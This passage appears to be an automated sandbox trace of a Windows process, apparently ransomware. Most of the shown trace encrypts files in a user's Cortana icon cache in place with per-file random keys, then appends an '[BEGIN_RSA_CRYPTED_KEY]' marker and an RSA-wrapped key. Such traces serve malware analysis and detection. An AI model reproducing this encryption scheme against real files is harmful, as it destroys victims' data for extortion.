hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.208] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.208] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KE4IiHJPNRk0Lz77EKvA0jV6cum5OXpMvNmGzOjS2UWgex7tehuZc7LTIsqrPuaR\n6oUO4dPQc1V7IwwMXHXF3Oo2kKbjRt2byKki0ipkH6nBNTxpeaodE+f8XMrMqOoj\nPoL2Fqek/hP4Auu0y0IXOLxXEjW0uS69PJ2saBOJmoAdLnZRWlsQ6OCThpfWlWuS\nSTlT//Sny961z55K+2NxJpJjaqZgckWLdszRsxaPY4RdOWjlaTQAfZJJ886bxi1U\nlHbNTMI2St5bNalsFAUwwGWv649V0yT+2sS2+oZOV9r+MXnK0hxctv3eqxw6MN+d\njqFkqX3CAN5AlXceYvQYfw==\n", pcchString=0x2e3f9a8) returned 1 [0246.208] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.208] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.208] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.209] CloseHandle (hObject=0x1afc) returned 1 [0246.210] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.210] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A5B5274B-2050-4F1C-8323-BFC5145BAB10}", dwFileAttributes=0x80) returned 1 [0246.210] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A5B5274B-2050-4F1C-8323-BFC5145BAB10}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a5b5274b-2050-4f1c-8323-bfc5145bab10}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.211] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.211] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.212] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.212] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.212] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.212] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.212] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.212] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.212] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.212] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.213] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+vklQ38d3xtn49V9kmzxZplAB+5o6wiHRLIzavmEZ39rLuwnxL1mquo7r1f/Byxo\n0IWnGUgf5X4vWFrqohlDwJUvM1O93KdmD+7cGE7dK581ot17FgsxHXaRvpdSGqIh\nR+Bki83mfEwrSpNaQpipHC+MBZ//9aqQXtCWrgssIiXJcKJ/yOohJ69vfQnPjFKj\nfhALj4dQcevHd1iSINNwYbXAByLloEAJMClBHFpWU32GYQG6JdogiMfimP1xQ+Zm\nFIzLy3UcV58zddLb8+tKImHVM9j8lUaE0UohS1KGo6lrgCibuH6p1s9hPne3R2fu\nOoNRVQkjrRLraG/wfWlDaA==\n", pcchString=0x2e3f9a8) returned 1 [0246.213] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.213] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.213] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.213] CloseHandle (hObject=0x1afc) returned 1 [0246.247] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.247] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A41AF181-37C6-4951-830B-E343DFC21B27}", dwFileAttributes=0x80) returned 1 [0246.248] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A41AF181-37C6-4951-830B-E343DFC21B27}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a41af181-37c6-4951-830b-e343dfc21b27}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.249] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.249] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.362] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.362] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.362] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.362] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.362] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.363] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.363] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bEI14PZSE2RtAxtIOGapaYfdsNtzWlE19AorWIXfid7N8zrOrUudzhAQKEDEU+hj\nmjGW1S9BciHUXSHSYLAM6lcDbvsI9KIqhnXCf4JBKh1yx5/W/3Bl60LjCqisZw39\nOzUwVhn4MnZMURSkGkcaKSkZIpnGv8mXspqGly5t057MwfLn3xcFTDrdD0HWkvbc\nC0V8z7j89Rh13aViyPEEp59Mv9lgoemoyOWlisBfR4Wox3rEv+IinXhDPuQsgJo5\n67hnzKKM8R6fdKIzrmVa3XktnmGqCghtgG3ayaMwA94uH0vl/SjwAbOweuhfmbGa\n8hYWLa3aDyzMaVNHhyt5OA==\n", pcchString=0x2e3f9a8) returned 1 [0246.363] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.363] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.363] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.364] CloseHandle (hObject=0x1afc) returned 1 [0246.365] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A3EC8C71-CFEE-485C-97C8-8CB142566DCC}", dwFileAttributes=0x80) returned 1 [0246.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A3EC8C71-CFEE-485C-97C8-8CB142566DCC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a3ec8c71-cfee-485c-97c8-8cb142566dcc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.367] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.367] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.368] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.368] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.369] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.369] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.369] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.369] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XclqAifACqBKQubXPh83r98sOadNbMeNhzlmCna7lDsPaWvH8djNUpgucDNMAMZa\n+hK2pF1iQf3ps8FVQTItGYnfXT94IlM2oPg8hntJO+VEZHyTdv1fuSvRnvo50LnT\nJD8hU6m2wt2t5gsDOoJ/CTmhHeJCIeSy5q4QgdPgiYQg1KCvCKU9M5qz7m4rvpT+\n5ELimT/C/+ivP04Qk7a/iQ7QPigFSSIdDUm3bfqQJVK+qsIkZZ/hV7lj40I1H2tD\nEjnvhX6Z+FeHsYPqwjDRk8DAX3PYDub1UtwHsgtZWUF4YoEyOZ/Pkdxm9PCRYBGl\nXOwhmLmhGhfRyah3BXsIBg==\n", pcchString=0x2e3f9a8) returned 1 [0246.370] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.370] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.370] CloseHandle (hObject=0x1afc) returned 1 [0246.372] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.372] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2F2E6DE-DA49-42DF-BDCF-C458109D79CC}", dwFileAttributes=0x80) returned 1 [0246.373] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2F2E6DE-DA49-42DF-BDCF-C458109D79CC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a2f2e6de-da49-42df-bdcf-c458109d79cc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.374] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.374] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.375] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.375] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.375] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.375] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.376] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.376] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.376] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.376] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fknuWndH8x5aR/nGE4A52bmQ1i1Wc0NDewBV+n4gMbiDp1zDaJ36Z/MAZJumtdTb\nha4DDlHCOxkDluB3ADigZgTGEvxIWxeH5HJxoHj97Q/s8BBQaa/GmevZPNQYVEzQ\ngJtWNs+YHui+kHNxqWa0Xx5C7+ed7CfjEHXvRfKFAZ8gPgGWUHtl3fd3BZpE2BRJ\nVXy3JJuwscyOJErd6iAmpuAOt0kS8Q9tyMy/oQ9ODkBERdbmRwojVrpg7rjMLgNT\nvyqQOQ37W8YCFnXBpl9xGn6m/95GPe2OTl+ERtFk5EaMf79qyPeCjeBRQU10G1EQ\nOJFb6v5UtH41GJeFwYqFhA==\n", pcchString=0x2e3f9a8) returned 1 [0246.376] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.376] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.376] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.376] CloseHandle (hObject=0x1afc) returned 1 [0246.378] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.378] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2A05FC2-1616-40B7-B7C0-B4C45BF0FF9E}", dwFileAttributes=0x80) returned 1 [0246.378] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2A05FC2-1616-40B7-B7C0-B4C45BF0FF9E}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a2a05fc2-1616-40b7-b7c0-b4c45bf0ff9e}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.379] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.379] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.381] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.381] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.381] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.381] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.381] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.382] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.382] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R0JD9S5WxclVHFUqvL2DC6UGEHfVF9kKOtTJ3xxtGbYjftR0VjREXW8XHvoNRv4n\n06flMns2u8WV0oXuf/EY8tCEqGrftESUMtu8qTR5f31PkSgSsPr1EWd0wV3aD8hN\nQ7n31W3zVsIKhjA+mVuxyLi3p7vj1N2UI88/4UGwCJ9BcgE+97imEjnHAOKMpbDy\nxpr6DKn9JjDriMqfYf5B0CkHQZCAk5jLDYVd35mkuPGv2B/wyrLfaNeYaMU6uFLa\nlKJJ+DfHwJ/N7YBr0YceeWZY/eSAdMkNZuF5BzvFcbDGnnMG0AjeMedc+H6JL30v\nLEU6mcEgZ+K/Nfqo3a06tA==\n", pcchString=0x2e3f9a8) returned 1 [0246.382] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.382] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.382] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.382] CloseHandle (hObject=0x1afc) returned 1 [0246.384] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.384] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A28B03F6-F89D-49BF-9411-8F0574DE8769}", dwFileAttributes=0x80) returned 1 [0246.386] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A28B03F6-F89D-49BF-9411-8F0574DE8769}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a28b03f6-f89d-49bf-9411-8f0574de8769}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.386] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.386] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.436] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.436] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.436] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.436] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.436] WriteFile (in: 